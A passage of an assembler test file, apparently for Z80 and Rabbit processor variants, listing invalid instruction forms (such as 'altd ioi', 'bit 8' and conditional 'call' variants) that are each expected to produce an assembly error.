8, (iy-128) ; Error altd ioi bit 8, (iy-128) ; Error altd ioi cp (hl) ; Error altd ioi cp (ix) ; Error altd ioi cp (ix+127) ; Error altd ioi cp (ix-128) ; Error altd ioi cp (iy) ; Error altd ioi cp (iy+127) ; Error altd ioi cp (iy-128) ; Error altd ioi cp a, (hl) ; Error altd ioi cp a, (ix) ; Error altd ioi cp a, (ix+127) ; Error altd ioi cp a, (ix-128) ; Error altd ioi cp a, (iy) ; Error altd ioi cp a, (iy+127) ; Error altd ioi cp a, (iy-128) ; Error altd ioi dec (hl) ; Error altd ioi dec (ix) ; Error altd ioi dec (ix+127) ; Error altd ioi dec (ix-128) ; Error altd ioi dec (iy) ; Error altd ioi dec (iy+127) ; Error altd ioi dec (iy-128) ; Error altd ioi inc (hl) ; Error altd ioi inc (ix) ; Error altd ioi inc (ix+127) ; Error altd ioi inc (ix-128) ; Error altd ioi inc (iy) ; Error altd ioi inc (iy+127) ; Error altd ioi inc (iy-128) ; Error altd ioi ld a, (-32768) ; Error altd ioi ld a, (32767) ; Error altd ioi ld a, (65535) ; Error altd ioi ld a, (bc) ; Error altd ioi ld a, (bc+) ; Error altd ioi ld a, (bc-) ; Error altd ioi ld a, (de) ; Error altd ioi ld a, (de+) ; Error altd ioi ld a, (de-) ; Error altd ioi ld a, (hl) ; Error altd ioi ld a, (hl+) ; Error altd ioi ld a, (hl-) ; Error altd ioi ld a, (hld) ; Error altd ioi ld a, (hli) ; Error altd ioi ld a, (ix) ; Error altd ioi ld a, (ix+127) ; Error altd ioi ld a, (ix-128) ; Error altd ioi ld a, (iy) ; Error altd ioi ld a, (iy+127) ; Error altd ioi ld a, (iy-128) ; Error altd ioi ld b, (hl) ; Error altd ioi ld b, (ix) ; Error altd ioi ld b, (ix+127) ; Error altd ioi ld b, (ix-128) ; Error altd ioi ld b, (iy) ; Error altd ioi ld b, (iy+127) ; Error altd ioi ld b, (iy-128) ; Error altd ioi ld bc, (-32768) ; Error altd ioi ld bc, (32767) ; Error altd ioi ld bc, (65535) ; Error altd ioi ld c, (hl) ; Error altd ioi ld c, (ix) ; Error altd ioi ld c, (ix+127) ; Error altd ioi ld c, (ix-128) ; Error altd ioi ld c, (iy) ; Error altd ioi ld c, (iy+127) ; Error altd ioi ld c, (iy-128) ; Error altd ioi ld d, (hl) ; Error altd ioi ld d, (ix) ; Error altd ioi ld d, (ix+127) ; Error altd ioi ld d, (ix-128) ; Error altd ioi ld d, (iy) ; Error altd ioi ld d, (iy+127) ; Error altd ioi ld d, (iy-128) ; Error altd ioi ld de, (-32768) ; Error altd ioi ld de, (32767) ; Error altd ioi ld de, (65535) ; Error altd ioi ld e, (hl) ; Error altd ioi ld e, (ix) ; Error altd ioi ld e, (ix+127) ; Error altd ioi ld e, (ix-128) ; Error altd ioi ld e, (iy) ; Error altd ioi ld e, (iy+127) ; Error altd ioi ld e, (iy-128) ; Error altd ioi ld h, (hl) ; Error altd ioi ld h, (ix) ; Error altd ioi ld h, (ix+127) ; Error altd ioi ld h, (ix-128) ; Error altd ioi ld h, (iy) ; Error altd ioi ld h, (iy+127) ; Error altd ioi ld h, (iy-128) ; Error altd ioi ld hl, (-32768) ; Error altd ioi ld hl, (32767) ; Error altd ioi ld hl, (65535) ; Error altd ioi ld hl, (hl) ; Error altd ioi ld hl, (hl+127) ; Error altd ioi ld hl, (hl-128) ; Error altd ioi ld hl, (ix) ; Error altd ioi ld hl, (ix+127) ; Error altd ioi ld hl, (ix-128) ; Error altd ioi ld hl, (iy) ; Error altd ioi ld hl, (iy+127) ; Error altd ioi ld hl, (iy-128) ; Error altd ioi ld l, (hl) ; Error altd ioi ld l, (ix) ; Error altd ioi ld l, (ix+127) ; Error altd ioi ld l, (ix-128) ; Error altd ioi ld l, (iy) ; Error altd ioi ld l, (iy+127) ; Error altd ioi ld l, (iy-128) ; Error altd ioi or (hl) ; Error altd ioi or (ix) ; Error altd ioi or (ix+127) ; Error altd ioi or (ix-128) ; Error altd ioi or (iy) ; Error altd ioi or (iy+127) ; Error altd ioi or (iy-128) ; Error altd ioi or a, (hl) ; Error altd ioi or a, (ix) ; Error altd ioi or a, (ix+127) ; Error altd ioi or a, (ix-128) ; Error altd ioi or a, (iy) ; Error altd ioi or a, (iy+127) ; Error altd ioi or a, (iy-128) ; Error altd ioi rl (hl) ; Error altd ioi rl (ix) ; Error altd ioi rl (ix+127) ; Error altd ioi rl (ix-128) ; Error altd ioi rl (iy) ; Error altd ioi rl (iy+127) ; Error altd ioi rl (iy-128) ; Error altd ioi rlc (hl) ; Error altd ioi rlc (ix) ; Error altd ioi rlc (ix+127) ; Error altd ioi rlc (ix-128) ; Error altd ioi rlc (iy) ; Error altd ioi rlc (iy+127) ; Error altd ioi rlc (iy-128) ; Error altd ioi rr (hl) ; Error altd ioi rr (ix) ; Error altd ioi rr (ix+127) ; Error altd ioi rr (ix-128) ; Error altd ioi rr (iy) ; Error altd ioi rr (iy+127) ; Error altd ioi rr (iy-128) ; Error altd ioi rrc (hl) ; Error altd ioi rrc (ix) ; Error altd ioi rrc (ix+127) ; Error altd ioi rrc (ix-128) ; Error altd ioi rrc (iy) ; Error altd ioi rrc (iy+127) ; Error altd ioi rrc (iy-128) ; Error altd ioi sbc (hl) ; Error altd ioi sbc (ix) ; Error altd ioi sbc (ix+127) ; Error altd ioi sbc (ix-128) ; Error altd ioi sbc (iy) ; Error altd ioi sbc (iy+127) ; Error altd ioi sbc (iy-128) ; Error altd ioi sbc a, (hl) ; Error altd ioi sbc a, (ix) ; Error altd ioi sbc a, (ix+127) ; Error altd ioi sbc a, (ix-128) ; Error altd ioi sbc a, (iy) ; Error altd ioi sbc a, (iy+127) ; Error altd ioi sbc a, (iy-128) ; Error altd ioi sla (hl) ; Error altd ioi sla (ix) ; Error altd ioi sla (ix+127) ; Error altd ioi sla (ix-128) ; Error altd ioi sla (iy) ; Error altd ioi sla (iy+127) ; Error altd ioi sla (iy-128) ; Error altd ioi sra (hl) ; Error altd ioi sra (ix) ; Error altd ioi sra (ix+127) ; Error altd ioi sra (ix-128) ; Error altd ioi sra (iy) ; Error altd ioi sra (iy+127) ; Error altd ioi sra (iy-128) ; Error altd ioi srl (hl) ; Error altd ioi srl (ix) ; Error altd ioi srl (ix+127) ; Error altd ioi srl (ix-128) ; Error altd ioi srl (iy) ; Error altd ioi srl (iy+127) ; Error altd ioi srl (iy-128) ; Error altd ioi sub (hl) ; Error altd ioi sub (ix) ; Error altd ioi sub (ix+127) ; Error altd ioi sub (ix-128) ; Error altd ioi sub (iy) ; Error altd ioi sub (iy+127) ; Error altd ioi sub (iy-128) ; Error altd ioi sub a, (hl) ; Error altd ioi sub a, (ix) ; Error altd ioi sub a, (ix+127) ; Error altd ioi sub a, (ix-128) ; Error altd ioi sub a, (iy) ; Error altd ioi sub a, (iy+127) ; Error altd ioi sub a, (iy-128) ; Error altd ioi xor (hl) ; Error altd ioi xor (ix) ; Error altd ioi xor (ix+127) ; Error altd ioi xor (ix-128) ; Error altd ioi xor (iy) ; Error altd ioi xor (iy+127) ; Error altd ioi xor (iy-128) ; Error altd ioi xor a, (hl) ; Error altd ioi xor a, (ix) ; Error altd ioi xor a, (ix+127) ; Error altd ioi xor a, (ix-128) ; Error altd ioi xor a, (iy) ; Error altd ioi xor a, (iy+127) ; Error altd ioi xor a, (iy-128) ; Error altd ld a, (-32768) ; Error altd ld a, (32767) ; Error altd ld a, (65535) ; Error altd ld a, (bc) ; Error altd ld a, (bc+) ; Error altd ld a, (bc-) ; Error altd ld a, (de) ; Error altd ld a, (de+) ; Error altd ld a, (de-) ; Error altd ld a, (hl) ; Error altd ld a, (hl+) ; Error altd ld a, (hl-) ; Error altd ld a, (hld) ; Error altd ld a, (hli) ; Error altd ld a, (ix) ; Error altd ld a, (ix+127) ; Error altd ld a, (ix-128) ; Error altd ld a, (iy) ; Error altd ld a, (iy+127) ; Error altd ld a, (iy-128) ; Error altd ld a, -128 ; Error altd ld a, 127 ; Error altd ld a, 255 ; Error altd ld a, a ; Error altd ld a, b ; Error altd ld a, c ; Error altd ld a, d ; Error altd ld a, e ; Error altd ld a, eir ; Error altd ld a, h ; Error altd ld a, iir ; Error altd ld a, l ; Error altd ld a, xpc ; Error altd ld b, (hl) ; Error altd ld b, (ix) ; Error altd ld b, (ix+127) ; Error altd ld b, (ix-128) ; Error altd ld b, (iy) ; Error altd ld b, (iy+127) ; Error altd ld b, (iy-128) ; Error altd ld b, -128 ; Error altd ld b, 127 ; Error altd ld b, 255 ; Error altd ld b, a ; Error altd ld b, b ; Error altd ld b, c ; Error altd ld b, d ; Error altd ld b, e ; Error altd ld b, h ; Error altd ld b, l ; Error altd ld bc, (-32768) ; Error altd ld bc, (32767) ; Error altd ld bc, (65535) ; Error altd ld bc, -32768 ; Error altd ld bc, 32767 ; Error altd ld bc, 65535 ; Error altd ld bc, bc ; Error altd ld bc, de ; Error altd ld c, (hl) ; Error altd ld c, (ix) ; Error altd ld c, (ix+127) ; Error altd ld c, (ix-128) ; Error altd ld c, (iy) ; Error altd ld c, (iy+127) ; Error altd ld c, (iy-128) ; Error altd ld c, -128 ; Error altd ld c, 127 ; Error altd ld c, 255 ; Error altd ld c, a ; Error altd ld c, b ; Error altd ld c, c ; Error altd ld c, d ; Error altd ld c, e ; Error altd ld c, h ; Error altd ld c, l ; Error altd ld d, (hl) ; Error altd ld d, (ix) ; Error altd ld d, (ix+127) ; Error altd ld d, (ix-128) ; Error altd ld d, (iy) ; Error altd ld d, (iy+127) ; Error altd ld d, (iy-128) ; Error altd ld d, -128 ; Error altd ld d, 127 ; Error altd ld d, 255 ; Error altd ld d, a ; Error altd ld d, b ; Error altd ld d, c ; Error altd ld d, d ; Error altd ld d, e ; Error altd ld d, h ; Error altd ld d, l ; Error altd ld de, (-32768) ; Error altd ld de, (32767) ; Error altd ld de, (65535) ; Error altd ld de, -32768 ; Error altd ld de, 32767 ; Error altd ld de, 65535 ; Error altd ld de, bc ; Error altd ld de, de ; Error altd ld e, (hl) ; Error altd ld e, (ix) ; Error altd ld e, (ix+127) ; Error altd ld e, (ix-128) ; Error altd ld e, (iy) ; Error altd ld e, (iy+127) ; Error altd ld e, (iy-128) ; Error altd ld e, -128 ; Error altd ld e, 127 ; Error altd ld e, 255 ; Error altd ld e, a ; Error altd ld e, b ; Error altd ld e, c ; Error altd ld e, d ; Error altd ld e, e ; Error altd ld e, h ; Error altd ld e, l ; Error altd ld h, (hl) ; Error altd ld h, (ix) ; Error altd ld h, (ix+127) ; Error altd ld h, (ix-128) ; Error altd ld h, (iy) ; Error altd ld h, (iy+127) ; Error altd ld h, (iy-128) ; Error altd ld h, -128 ; Error altd ld h, 127 ; Error altd ld h, 255 ; Error altd ld h, a ; Error altd ld h, b ; Error altd ld h, c ; Error altd ld h, d ; Error altd ld h, e ; Error altd ld h, h ; Error altd ld h, l ; Error altd ld hl, (-32768) ; Error altd ld hl, (32767) ; Error altd ld hl, (65535) ; Error altd ld hl, (hl) ; Error altd ld hl, (hl+127) ; Error altd ld hl, (hl-128) ; Error altd ld hl, (ix) ; Error altd ld hl, (ix+127) ; Error altd ld hl, (ix-128) ; Error altd ld hl, (iy) ; Error altd ld hl, (iy+127) ; Error altd ld hl, (iy-128) ; Error altd ld hl, (sp) ; Error altd ld hl, (sp+0) ; Error altd ld hl, (sp+255) ; Error altd ld hl, -32768 ; Error altd ld hl, 32767 ; Error altd ld hl, 65535 ; Error altd ld hl, bc ; Error altd ld hl, de ; Error altd ld hl, ix ; Error altd ld hl, iy ; Error altd ld l, (hl) ; Error altd ld l, (ix) ; Error altd ld l, (ix+127) ; Error altd ld l, (ix-128) ; Error altd ld l, (iy) ; Error altd ld l, (iy+127) ; Error altd ld l, (iy-128) ; Error altd ld l, -128 ; Error altd ld l, 127 ; Error altd ld l, 255 ; Error altd ld l, a ; Error altd ld l, b ; Error altd ld l, c ; Error altd ld l, d ; Error altd ld l, e ; Error altd ld l, h ; Error altd ld l, l ; Error altd neg ; Error altd neg a ; Error altd or (hl) ; Error altd or (ix) ; Error altd or (ix+127) ; Error altd or (ix-128) ; Error altd or (iy) ; Error altd or (iy+127) ; Error altd or (iy-128) ; Error altd or -128 ; Error altd or 127 ; Error altd or 255 ; Error altd or a ; Error altd or a, (hl) ; Error altd or a, (ix) ; Error altd or a, (ix+127) ; Error altd or a, (ix-128) ; Error altd or a, (iy) ; Error altd or a, (iy+127) ; Error altd or a, (iy-128) ; Error altd or a, -128 ; Error altd or a, 127 ; Error altd or a, 255 ; Error altd or a, a ; Error altd or a, b ; Error altd or a, c ; Error altd or a, d ; Error altd or a, e ; Error altd or a, h ; Error altd or a, l ; Error altd or b ; Error altd or c ; Error altd or d ; Error altd or e ; Error altd or h ; Error altd or hl, de ; Error altd or ix, de ; Error altd or iy, de ; Error altd or l ; Error altd pop af ; Error altd pop b ; Error altd pop bc ; Error altd pop d ; Error altd pop de ; Error altd pop h ; Error altd pop hl ; Error altd res -1, a ; Error altd res -1, a ; Error altd res -1, b ; Error altd res -1, b ; Error altd res -1, c ; Error altd res -1, c ; Error altd res -1, d ; Error altd res -1, d ; Error altd res -1, e ; Error altd res -1, e ; Error altd res -1, h ; Error altd res -1, h ; Error altd res -1, l ; Error altd res -1, l ; Error altd res 0, a ; Error altd res 0, b ; Error altd res 0, c ; Error altd res 0, d ; Error altd res 0, e ; Error altd res 0, h ; Error altd res 0, l ; Error altd res 1, a ; Error altd res 1, b ; Error altd res 1, c ; Error altd res 1, d ; Error altd res 1, e ; Error altd res 1, h ; Error altd res 1, l ; Error altd res 2, a ; Error altd res 2, b ; Error altd res 2, c ; Error altd res 2, d ; Error altd res 2, e ; Error altd res 2, h ; Error altd res 2, l ; Error altd res 3, a ; Error altd res 3, b ; Error altd res 3, c ; Error altd res 3, d ; Error altd res 3, e ; Error altd res 3, h ; Error altd res 3, l ; Error altd res 4, a ; Error altd res 4, b ; Error altd res 4, c ; Error altd res 4, d ; Error altd res 4, e ; Error altd res 4, h ; Error altd res 4, l ; Error altd res 5, a ; Error altd res 5, b ; Error altd res 5, c ; Error altd res 5, d ; Error altd res 5, e ; Error altd res 5, h ; Error altd res 5, l ; Error altd res 6, a ; Error altd res 6, b ; Error altd res 6, c ; Error altd res 6, d ; Error altd res 6, e ; Error altd res 6, h ; Error altd res 6, l ; Error altd res 7, a ; Error altd res 7, b ; Error altd res 7, c ; Error altd res 7, d ; Error altd res 7, e ; Error altd res 7, h ; Error altd res 7, l ; Error altd res 8, a ; Error altd res 8, a ; Error altd res 8, b ; Error altd res 8, b ; Error altd res 8, c ; Error altd res 8, c ; Error altd res 8, d ; Error altd res 8, d ; Error altd res 8, e ; Error altd res 8, e ; Error altd res 8, h ; Error altd res 8, h ; Error altd res 8, l ; Error altd res 8, l ; Error altd rl (hl) ; Error altd rl (ix) ; Error altd rl (ix+127) ; Error altd rl (ix-128) ; Error altd rl (iy) ; Error altd rl (iy+127) ; Error altd rl (iy-128) ; Error altd rl a ; Error altd rl b ; Error altd rl c ; Error altd rl d ; Error altd rl de ; Error altd rl e ; Error altd rl h ; Error altd rl l ; Error altd rla ; Error altd rlc (hl) ; Error altd rlc (ix) ; Error altd rlc (ix+127) ; Error altd rlc (ix-128) ; Error altd rlc (iy) ; Error altd rlc (iy+127) ; Error altd rlc (iy-128) ; Error altd rlc a ; Error altd rlc b ; Error altd rlc c ; Error altd rlc d ; Error altd rlc e ; Error altd rlc h ; Error altd rlc l ; Error altd rlca ; Error altd rr (hl) ; Error altd rr (ix) ; Error altd rr (ix+127) ; Error altd rr (ix-128) ; Error altd rr (iy) ; Error altd rr (iy+127) ; Error altd rr (iy-128) ; Error altd rr a ; Error altd rr b ; Error altd rr c ; Error altd rr d ; Error altd rr de ; Error altd rr e ; Error altd rr h ; Error altd rr hl ; Error altd rr ix ; Error altd rr iy ; Error altd rr l ; Error altd rra ; Error altd rrc (hl) ; Error altd rrc (ix) ; Error altd rrc (ix+127) ; Error altd rrc (ix-128) ; Error altd rrc (iy) ; Error altd rrc (iy+127) ; Error altd rrc (iy-128) ; Error altd rrc a ; Error altd rrc b ; Error altd rrc c ; Error altd rrc d ; Error altd rrc e ; Error altd rrc h ; Error altd rrc l ; Error altd rrca ; Error altd sbc (hl) ; Error altd sbc (ix) ; Error altd sbc (ix+127) ; Error altd sbc (ix-128) ; Error altd sbc (iy) ; Error altd sbc (iy+127) ; Error altd sbc (iy-128) ; Error altd sbc -128 ; Error altd sbc 127 ; Error altd sbc 255 ; Error altd sbc a ; Error altd sbc a, (hl) ; Error altd sbc a, (ix) ; Error altd sbc a, (ix+127) ; Error altd sbc a, (ix-128) ; Error altd sbc a, (iy) ; Error altd sbc a, (iy+127) ; Error altd sbc a, (iy-128) ; Error altd sbc a, -128 ; Error altd sbc a, 127 ; Error altd sbc a, 255 ; Error altd sbc a, a ; Error altd sbc a, b ; Error altd sbc a, c ; Error altd sbc a, d ; Error altd sbc a, e ; Error altd sbc a, h ; Error altd sbc a, l ; Error altd sbc b ; Error altd sbc c ; Error altd sbc d ; Error altd sbc e ; Error altd sbc h ; Error altd sbc hl, bc ; Error altd sbc hl, de ; Error altd sbc hl, hl ; Error altd sbc hl, sp ; Error altd sbc l ; Error altd scf ; Error altd set -1, a ; Error altd set -1, a ; Error altd set -1, b ; Error altd set -1, b ; Error altd set -1, c ; Error altd set -1, c ; Error altd set -1, d ; Error altd set -1, d ; Error altd set -1, e ; Error altd set -1, e ; Error altd set -1, h ; Error altd set -1, h ; Error altd set -1, l ; Error altd set -1, l ; Error altd set 0, a ; Error altd set 0, b ; Error altd set 0, c ; Error altd set 0, d ; Error altd set 0, e ; Error altd set 0, h ; Error altd set 0, l ; Error altd set 1, a ; Error altd set 1, b ; Error altd set 1, c ; Error altd set 1, d ; Error altd set 1, e ; Error altd set 1, h ; Error altd set 1, l ; Error altd set 2, a ; Error altd set 2, b ; Error altd set 2, c ; Error altd set 2, d ; Error altd set 2, e ; Error altd set 2, h ; Error altd set 2, l ; Error altd set 3, a ; Error altd set 3, b ; Error altd set 3, c ; Error altd set 3, d ; Error altd set 3, e ; Error altd set 3, h ; Error altd set 3, l ; Error altd set 4, a ; Error altd set 4, b ; Error altd set 4, c ; Error altd set 4, d ; Error altd set 4, e ; Error altd set 4, h ; Error altd set 4, l ; Error altd set 5, a ; Error altd set 5, b ; Error altd set 5, c ; Error altd set 5, d ; Error altd set 5, e ; Error altd set 5, h ; Error altd set 5, l ; Error altd set 6, a ; Error altd set 6, b ; Error altd set 6, c ; Error altd set 6, d ; Error altd set 6, e ; Error altd set 6, h ; Error altd set 6, l ; Error altd set 7, a ; Error altd set 7, b ; Error altd set 7, c ; Error altd set 7, d ; Error altd set 7, e ; Error altd set 7, h ; Error altd set 7, l ; Error altd set 8, a ; Error altd set 8, a ; Error altd set 8, b ; Error altd set 8, b ; Error altd set 8, c ; Error altd set 8, c ; Error altd set 8, d ; Error altd set 8, d ; Error altd set 8, e ; Error altd set 8, e ; Error altd set 8, h ; Error altd set 8, h ; Error altd set 8, l ; Error altd set 8, l ; Error altd sla (hl) ; Error altd sla (ix) ; Error altd sla (ix+127) ; Error altd sla (ix-128) ; Error altd sla (iy) ; Error altd sla (iy+127) ; Error altd sla (iy-128) ; Error altd sla a ; Error altd sla b ; Error altd sla c ; Error altd sla d ; Error altd sla e ; Error altd sla h ; Error altd sla l ; Error altd sra (hl) ; Error altd sra (ix) ; Error altd sra (ix+127) ; Error altd sra (ix-128) ; Error altd sra (iy) ; Error altd sra (iy+127) ; Error altd sra (iy-128) ; Error altd sra a ; Error altd sra b ; Error altd sra c ; Error altd sra d ; Error altd sra e ; Error altd sra h ; Error altd sra l ; Error altd srl (hl) ; Error altd srl (ix) ; Error altd srl (ix+127) ; Error altd srl (ix-128) ; Error altd srl (iy) ; Error altd srl (iy+127) ; Error altd srl (iy-128) ; Error altd srl a ; Error altd srl b ; Error altd srl c ; Error altd srl d ; Error altd srl e ; Error altd srl h ; Error altd srl l ; Error altd sub (hl) ; Error altd sub (ix) ; Error altd sub (ix+127) ; Error altd sub (ix-128) ; Error altd sub (iy) ; Error altd sub (iy+127) ; Error altd sub (iy-128) ; Error altd sub -128 ; Error altd sub 127 ; Error altd sub 255 ; Error altd sub a ; Error altd sub a, (hl) ; Error altd sub a, (ix) ; Error altd sub a, (ix+127) ; Error altd sub a, (ix-128) ; Error altd sub a, (iy) ; Error altd sub a, (iy+127) ; Error altd sub a, (iy-128) ; Error altd sub a, -128 ; Error altd sub a, 127 ; Error altd sub a, 255 ; Error altd sub a, a ; Error altd sub a, b ; Error altd sub a, c ; Error altd sub a, d ; Error altd sub a, e ; Error altd sub a, h ; Error altd sub a, l ; Error altd sub b ; Error altd sub c ; Error altd sub d ; Error altd sub e ; Error altd sub h ; Error altd sub l ; Error altd sub m ; Error altd xor (hl) ; Error altd xor (ix) ; Error altd xor (ix+127) ; Error altd xor (ix-128) ; Error altd xor (iy) ; Error altd xor (iy+127) ; Error altd xor (iy-128) ; Error altd xor -128 ; Error altd xor 127 ; Error altd xor 255 ; Error altd xor a ; Error altd xor a, (hl) ; Error altd xor a, (ix) ; Error altd xor a, (ix+127) ; Error altd xor a, (ix-128) ; Error altd xor a, (iy) ; Error altd xor a, (iy+127) ; Error altd xor a, (iy-128) ; Error altd xor a, -128 ; Error altd xor a, 127 ; Error altd xor a, 255 ; Error altd xor a, a ; Error altd xor a, b ; Error altd xor a, c ; Error altd xor a, d ; Error altd xor a, e ; Error altd xor a, h ; Error altd xor a, l ; Error altd xor b ; Error altd xor c ; Error altd xor d ; Error altd xor e ; Error altd xor h ; Error altd xor l ; Error and (ix) ; Error and (ix+127) ; Error and (ix-128) ; Error and (iy) ; Error and (iy+127) ; Error and (iy-128) ; Error and a', (hl) ; Error and a', (ix) ; Error and a', (ix+127) ; Error and a', (ix-128) ; Error and a', (iy) ; Error and a', (iy+127) ; Error and a', (iy-128) ; Error and a', -128 ; Error and a', 127 ; Error and a', 255 ; Error and a', a ; Error and a', b ; Error and a', c ; Error and a', d ; Error and a', e ; Error and a', h ; Error and a', l ; Error and a, (ix) ; Error and a, (ix+127) ; Error and a, (ix-128) ; Error and a, (iy) ; Error and a, (iy+127) ; Error and a, (iy-128) ; Error and a, ixh ; Error and a, ixl ; Error and a, iyh ; Error and a, iyl ; Error and hl', de ; Error and hl, de ; Error and ix, de ; Error and ixh ; Error and ixl ; Error and iy, de ; Error and iyh ; Error and iyl ; Error and.a ix, de ; Error and.a iy, de ; Error bit -1, (hl) ; Error bit -1, (hl) ; Error bit -1, (ix) ; Error bit -1, (ix) ; Error bit -1, (ix+127) ; Error bit -1, (ix+127) ; Error bit -1, (ix-128) ; Error bit -1, (ix-128) ; Error bit -1, (iy) ; Error bit -1, (iy) ; Error bit -1, (iy+127) ; Error bit -1, (iy+127) ; Error bit -1, (iy-128) ; Error bit -1, (iy-128) ; Error bit -1, a ; Error bit -1, a ; Error bit -1, b ; Error bit -1, b ; Error bit -1, c ; Error bit -1, c ; Error bit -1, d ; Error bit -1, d ; Error bit -1, e ; Error bit -1, e ; Error bit -1, h ; Error bit -1, h ; Error bit -1, l ; Error bit -1, l ; Error bit 0, (ix) ; Error bit 0, (ix+127) ; Error bit 0, (ix-128) ; Error bit 0, (iy) ; Error bit 0, (iy+127) ; Error bit 0, (iy-128) ; Error bit 1, (ix) ; Error bit 1, (ix+127) ; Error bit 1, (ix-128) ; Error bit 1, (iy) ; Error bit 1, (iy+127) ; Error bit 1, (iy-128) ; Error bit 2, (ix) ; Error bit 2, (ix+127) ; Error bit 2, (ix-128) ; Error bit 2, (iy) ; Error bit 2, (iy+127) ; Error bit 2, (iy-128) ; Error bit 3, (ix) ; Error bit 3, (ix+127) ; Error bit 3, (ix-128) ; Error bit 3, (iy) ; Error bit 3, (iy+127) ; Error bit 3, (iy-128) ; Error bit 4, (ix) ; Error bit 4, (ix+127) ; Error bit 4, (ix-128) ; Error bit 4, (iy) ; Error bit 4, (iy+127) ; Error bit 4, (iy-128) ; Error bit 5, (ix) ; Error bit 5, (ix+127) ; Error bit 5, (ix-128) ; Error bit 5, (iy) ; Error bit 5, (iy+127) ; Error bit 5, (iy-128) ; Error bit 6, (ix) ; Error bit 6, (ix+127) ; Error bit 6, (ix-128) ; Error bit 6, (iy) ; Error bit 6, (iy+127) ; Error bit 6, (iy-128) ; Error bit 7, (ix) ; Error bit 7, (ix+127) ; Error bit 7, (ix-128) ; Error bit 7, (iy) ; Error bit 7, (iy+127) ; Error bit 7, (iy-128) ; Error bit 8, (hl) ; Error bit 8, (hl) ; Error bit 8, (ix) ; Error bit 8, (ix) ; Error bit 8, (ix+127) ; Error bit 8, (ix+127) ; Error bit 8, (ix-128) ; Error bit 8, (ix-128) ; Error bit 8, (iy) ; Error bit 8, (iy) ; Error bit 8, (iy+127) ; Error bit 8, (iy+127) ; Error bit 8, (iy-128) ; Error bit 8, (iy-128) ; Error bit 8, a ; Error bit 8, a ; Error bit 8, b ; Error bit 8, b ; Error bit 8, c ; Error bit 8, c ; Error bit 8, d ; Error bit 8, d ; Error bit 8, e ; Error bit 8, e ; Error bit 8, h ; Error bit 8, h ; Error bit 8, l ; Error bit 8, l ; Error bit.a -1, (hl) ; Error bit.a -1, (hl) ; Error bit.a -1, (ix) ; Error bit.a -1, (ix) ; Error bit.a -1, (ix+127) ; Error bit.a -1, (ix+127) ; Error bit.a -1, (ix-128) ; Error bit.a -1, (ix-128) ; Error bit.a -1, (iy) ; Error bit.a -1, (iy) ; Error bit.a -1, (iy+127) ; Error bit.a -1, (iy+127) ; Error bit.a -1, (iy-128) ; Error bit.a -1, (iy-128) ; Error bit.a -1, a ; Error bit.a -1, a ; Error bit.a -1, b ; Error bit.a -1, b ; Error bit.a -1, c ; Error bit.a -1, c ; Error bit.a -1, d ; Error bit.a -1, d ; Error bit.a -1, e ; Error bit.a -1, e ; Error bit.a -1, h ; Error bit.a -1, h ; Error bit.a -1, l ; Error bit.a -1, l ; Error bit.a 0, (ix) ; Error bit.a 0, (ix+127) ; Error bit.a 0, (ix-128) ; Error bit.a 0, (iy) ; Error bit.a 0, (iy+127) ; Error bit.a 0, (iy-128) ; Error bit.a 1, (ix) ; Error bit.a 1, (ix+127) ; Error bit.a 1, (ix-128) ; Error bit.a 1, (iy) ; Error bit.a 1, (iy+127) ; Error bit.a 1, (iy-128) ; Error bit.a 2, (ix) ; Error bit.a 2, (ix+127) ; Error bit.a 2, (ix-128) ; Error bit.a 2, (iy) ; Error bit.a 2, (iy+127) ; Error bit.a 2, (iy-128) ; Error bit.a 3, (ix) ; Error bit.a 3, (ix+127) ; Error bit.a 3, (ix-128) ; Error bit.a 3, (iy) ; Error bit.a 3, (iy+127) ; Error bit.a 3, (iy-128) ; Error bit.a 4, (ix) ; Error bit.a 4, (ix+127) ; Error bit.a 4, (ix-128) ; Error bit.a 4, (iy) ; Error bit.a 4, (iy+127) ; Error bit.a 4, (iy-128) ; Error bit.a 5, (ix) ; Error bit.a 5, (ix+127) ; Error bit.a 5, (ix-128) ; Error bit.a 5, (iy) ; Error bit.a 5, (iy+127) ; Error bit.a 5, (iy-128) ; Error bit.a 6, (ix) ; Error bit.a 6, (ix+127) ; Error bit.a 6, (ix-128) ; Error bit.a 6, (iy) ; Error bit.a 6, (iy+127) ; Error bit.a 6, (iy-128) ; Error bit.a 7, (ix) ; Error bit.a 7, (ix+127) ; Error bit.a 7, (ix-128) ; Error bit.a 7, (iy) ; Error bit.a 7, (iy+127) ; Error bit.a 7, (iy-128) ; Error bit.a 8, (hl) ; Error bit.a 8, (hl) ; Error bit.a 8, (ix) ; Error bit.a 8, (ix) ; Error bit.a 8, (ix+127) ; Error bit.a 8, (ix+127) ; Error bit.a 8, (ix-128) ; Error bit.a 8, (ix-128) ; Error bit.a 8, (iy) ; Error bit.a 8, (iy) ; Error bit.a 8, (iy+127) ; Error bit.a 8, (iy+127) ; Error bit.a 8, (iy-128) ; Error bit.a 8, (iy-128) ; Error bit.a 8, a ; Error bit.a 8, a ; Error bit.a 8, b ; Error bit.a 8, b ; Error bit.a 8, c ; Error bit.a 8, c ; Error bit.a 8, d ; Error bit.a 8, d ; Error bit.a 8, e ; Error bit.a 8, e ; Error bit.a 8, h ; Error bit.a 8, h ; Error bit.a 8, l ; Error bit.a 8, l ; Error bool hl ; Error bool hl' ; Error bool ix ; Error bool iy ; Error brlc de,b ; Error bsla de,b ; Error bsra de,b ; Error bsrf de,b ; Error bsrl de,b ; Error call lo, -32768 ; Error call lo, 32767 ; Error call lo, 65535 ; Error call lz, -32768 ; Error call lz, 32767 ; Error call lz, 65535 ; Error call m, -32768 ; Error call m, 32767 ; Error call m, 65535 ; Error call nv, -32768 ; Error call nv, 32767 ; Error call nv, 65535 ; Error call p, -32768 ; Error call p, 32767 ; Error call p, 65535 ; Error call pe, -32768 ; Error call pe, 32767 ; Error call pe, 65535 ; Error call po, -32768 ; Error call po, 32767 ; Error call po, 65535 ; Error call v, -32768 ; Error call v, 32767 ; Error call v, 65535 ; Error ccf' ; Error clo -32768 ; Error clo 32767 ; Error clo 65535 ; Error clz -32768 ; Error clz 32767 ; Error clz 65535 ; Error cm -32768 ; Error cm 32767 ; Error cm 65535 ; Error cmp (ix) ; Error cmp (ix+127) ; Error cmp (ix-128) ; Error cmp (iy) ; Error cmp (iy+127) ; Error cmp (iy-128) ; Error cmp a, (ix) ; Error cmp a, (ix+127) ; Error cmp a, (ix-128) ; Error cmp a, (iy) ; Error cmp a, (iy+127) ; Error cmp a, (iy-128) ; Error cmp a, ixh ; Error cmp a, ixl ; Error cmp a, iyh ; Error cmp a, iyl ; Error cmp ixh ; Error cmp ixl ; Error cmp iyh ; Error cmp iyl 